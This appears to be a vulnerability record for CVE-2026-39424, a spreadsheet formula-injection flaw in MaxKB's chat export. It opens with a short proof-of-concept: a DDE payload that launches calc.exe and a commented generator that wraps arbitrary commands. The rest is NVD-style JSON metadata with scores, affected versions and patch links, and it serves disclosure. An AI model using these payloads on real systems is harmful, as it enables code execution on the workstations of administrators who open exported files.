CVE-2026-39424

# Malicious payload to be sent in a chat message payload = "=cmd|' /C calc'!A0" # When the admin exports the chat and opens in Excel, calc.exe will execute. # Example Python script to simulate the payload generation: # def generate_dd_payload(command): # return f"=cmd|' /C {command}'!A0" # # print(generate_dd_payload('whoami'))

{"cve": {"id": "CVE-2026-39424", "sourceIdentifier": "[email protected]", "published": "2026-04-14T01:16:05.153", "lastModified": "2026-04-20T17:34:19.030", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MaxKB is an open-source AI assistant for enterprise. In versions 2.7.1 and below, the chat export feature is vulnerable to Improper Neutralization of Formula Elements in a CSV File. When an administrator exports the application chat history to an Excel file (.xlsx) via the /admin/api/workspace/{workspace_id}/application/{application_id}/chat/export endpoint, strings starting with formula characters are written directly without proper sanitization. Opening this file in spreadsheet applications like Microsoft Excel can lead to Arbitrary Code Execution (RCE) on the administrator's workstation via Dynamic Data Exchange (DDE). The issue is a variant of CVE-2025-4546, which fixed the exact same pattern in apps/dataset/serializers/document_serializers.py but missed the application chat export sink. This issue has been fixed in version 2.8.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1236"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:maxkb:maxkb:*:*:*:*:-:*:*:*", "versionEndExcluding": "2.8.0", "matchCriteriaId": "8BB376B6-4E9C-4801-9D33-5BF858C857D2"}]}]}], "references": [{"url": "https://github.com/1Panel-dev/MaxKB/commit/24cd68acae5f726eed828e2ac801827a2a70536f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/1Panel-dev/MaxKB/releases/tag/v2.8.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/1Panel-dev/MaxKB/security/advisories/GHSA-rr4r-7cj2-29vp", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}